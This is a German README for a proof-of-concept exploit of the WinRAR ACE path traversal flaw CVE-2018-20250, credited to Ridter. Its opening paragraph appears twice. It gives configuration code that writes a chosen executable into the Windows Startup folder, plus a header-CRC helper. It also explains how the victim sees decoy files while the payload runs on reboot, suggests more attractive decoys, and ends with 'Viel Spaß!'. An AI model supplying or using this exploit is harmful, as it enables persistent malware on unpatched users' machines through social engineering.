
WinRar ist eine sehr bekannte Software für Windows. Eine frühere Version von WinRar wies eine Sicherheitslücke auf, die im Februar 2019 gepatcht wurde. Viele Nutzer haben WinRar nicht aktualisiert, sodass sie anfällig für diese Absolute-Path-Traversal-Schwachstelle [CVE-2018-20250] sind.
WinRar ist eine sehr weit verbreitete Software für Windows. Eine frühere Version von WinRAR wies eine Sicherheitslücke auf, die im Februar 2019 gepatcht wurde. Die meisten Leute haben WinRAR nicht aktualisiert, daher sind sie anfällig für diesen Absolute Path Traversal-Fehler [CVE-2018-20250]
exploit für Extrahieren von Code-Ausführung aus Winrar
PoC von Ridter
Wie benutzt man das?
Du musst nur Python 3.7 installieren und eine böswillige Datei vorbereiten, die du ausführen möchtest, die Werte nach deinen Wünschen setzen, dieses Exploit-Skript generiert automatisch die böswillige Archivdatei!
... ...
# The archive filename you want
rar_filename = "test.rar"
# The evil file you want to run
evil_filename = "calc.exe"
# The decompression path you want, such shown below
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# Other files to be displayed when the victim opens the winrar
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# This command may be different, it depends on the your Python3 environment.
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
Führe das Exploit aus, das Exploit generiert automatisch die test.rar
Wenn das Opfer die test.rar öffnet, sieht es die Dateien hello.txt und world.txt. Du kannst auch weitere Dateien hinzufügen, attraktivere Dateien.
![]()
hi.exe, die eigentlich eine calc.exe ist. Wenn er den Computer neu startet, wird die hi.exe ausgeführt.![]()
Viel Spaß! :)